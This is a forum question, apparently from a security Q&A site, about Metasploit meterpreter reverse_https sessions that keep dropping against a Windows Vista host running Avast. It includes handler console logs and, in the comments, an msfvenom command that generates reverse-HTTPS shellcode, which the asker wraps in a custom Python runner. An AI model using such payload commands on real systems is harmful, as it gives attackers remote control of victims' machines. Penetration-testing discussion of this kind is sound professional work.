1

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects back again and again and I lose connection every time. What is the problem? Victim's OS is Windows Vista with Avast! Free installed on it. I give you example output from console;

[*] 192.168.0.55:50870 (UUID: 4cf453e0ddc42f09/x86=1/windows=1/2016-05-23T23:41:39Z) Attaching orphaned/stageless session ...
[*] Meterpreter session 25 opened (192.168.0.150:443 -> 192.168.0.55:50870) at 2016-05-27 23:21:36 +0500

[-] Unknown command: sys.
msf exploit(handler) > 
msf exploit(handler) > sessions -i 25
[*] Starting interaction with 25...

meterpreter > 
[-] Meterpreter session 25 is not valid and will be closed

[*] 192.168.0.55 - Meterpreter session 25 closed.
[*] 192.168.0.55:50872 (UUID: 4cf453e0ddc42f09/x86=1/windows=1/2016-05-23T23:41:39Z) Attaching orphaned/stageless session ...
[*] Meterpreter session 26 opened (192.168.0.150:443 -> 192.168.0.55:50872) at 2016-05-27 23:22:06 +0500

msf exploit(handler) > 
msf exploit(handler) > sessions -i 26
[*] Starting interaction with 26...

meterpreter > 
meterpreter > 
meterpreter > ps
[-] Unknown command: ps.
meterpreter > ses
[-] Meterpreter session 26 is not valid and will be closed

[*] 192.168.0.55 - Meterpreter session 26 closed.
[*] 192.168.0.55:50933 (UUID: 4cf453e0ddc42f09/x86=1/windows=1/2016-05-23T23:41:39Z) Attaching orphaned/stageless session ...
[*] Meterpreter session 28 opened (192.168.0.150:443 -> 192.168.0.55:50933) at 2016-05-27 23:23:15 +0500

msf exploit(handler) > sessions -i 28
[*] Starting interaction with 28...

meterpreter > 
[-] Meterpreter session 28 is not valid and will be closed

[*] 192.168.0.55 - Meterpreter session 28 closed.
[*] 192.168.0.55:50945 (UUID: 4cf453e0ddc42f09/x86=1/windows=1/2016-05-23T23:41:39Z) Attaching orphaned/stageless session ...
[*] Meterpreter session 29 opened (192.168.0.150:443 -> 192.168.0.55:50945) at 2016-05-27 23:23:47 +0500

msf exploit(handler) > 
msf exploit(handler) > sessions -i 29
[*] Starting interaction with 29...

meterpreter > sys
[-] Unknown command: sys.
meterpreter > 
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.55 - Meterpreter session 29 closed.  Reason: User exit
msf exploit(handler) > 
[-] Meterpreter session 29 is not valid and will be closed
  • 1
    Not valid error means there is difference between the handler and payload settings. Show the payload settings as well. If both match (LHOST, LPORT, PAYLOAD) it should work. – void_in May 27 '16 at 19:31
  • 1
    Options are correct, I checked them, Actually it connects back, but for some reason I lose connection. I used python shellcode runner script written by me. That script works perfectly, I tested it on many systems. Shellcode generated by msfvenom is for x86 reverse_https – Abdulla May 27 '16 at 19:38
  • How you generated the payload? For example msfvenom -p windows/meterpreter_reverse_https LHOST=x.x.x.x LPORT=y.y.y.y -f exe -o output.exe etc. Also, run show options on the handler and paste the output. Without these two, it is hard to debug. I can't reproduce the issue at my end. You can get a session even with incorrect options but it die soon. – void_in May 28 '16 at 8:30
  • @void_in I used msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.150 LPORT=443 -a x86 -f c , then I copied shellcode to my python script and then I made executable PE. This PE is working well, I tested it on many systems, and I got shells back. Is it possible if this exe run and tried to run itself again, and as result every time I get orphaned/stageless session back. I saw that every time when session opens, it doesn't load stdapi module of MSF. – Abdulla May 28 '16 at 20:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.